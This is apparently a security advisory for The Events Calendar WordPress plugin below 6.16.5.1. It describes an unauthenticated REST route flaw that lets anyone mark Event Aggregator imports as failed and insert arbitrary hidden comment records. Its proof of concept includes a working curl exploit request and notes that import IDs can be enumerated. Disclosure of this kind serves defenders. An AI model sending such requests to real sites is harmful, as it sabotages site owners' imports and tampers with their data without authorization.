The Events Calendar < 6.16.5.1 – Unauthenticated Event Aggregator Import Status Manipulation | CVE 2026-13390

Description

The plugin does not perform an authorization check on one of its Event Aggregator import REST API routes and skips an integrity check for a particular status value, allowing unauthenticated attackers to mark existing import records as failed and to store arbitrary content in a hidden comment record.

Proof of Concept

Prerequisite: the target must have an Event Aggregator import record in the "pending" state, which occurs while a CSV/feed import is running or scheduled. For local reproduction such a record can be created with WP-CLI:
  wp post create --post_type=tribe-ea-record --post_status=tribe-ea-pending --post_mime_type=ea/csv --post_title="EA CSV Import" --porcelain
  wp post meta update <ID> _tribe_aggregator_import_id <ID>
The import_id equals that post ID. For CSV imports it is a sequential WP post ID, enumerable from 1 (a valid id returns HTTP 200, an invalid id returns HTTP 400).

Unauthenticated attack (no cookie, no nonce; status=failed bypasses the batch_hash check, so any value works):
  curl -sk -X POST "https://example.com/wp-json/tribe/event-aggregator/v1/import/<import_id>/state" \
    -H "Content-Type: application/json" \
    -d '{"status":"failed","batch_hash":"junk-no-secret-needed","message":"Attacker content","message_slug":"attacker-author","percentage_complete":0}'

Response: {"status":"success"} (HTTP 200).
Result: the import record is set to "failed" (import sabotage), and a tribe-ea-error comment row is inserted with comment_author = message_slug and comment_content = message (both attacker-controlled). The comment is not rendered on the frontend and is escaped where shown in the admin import history (no XSS). The sibling .../import/{id}/batch route is NOT exploitable this way (its status parameter is an object, so the failed-status hash bypass does not trigger and it still requires the real next_batch_hash).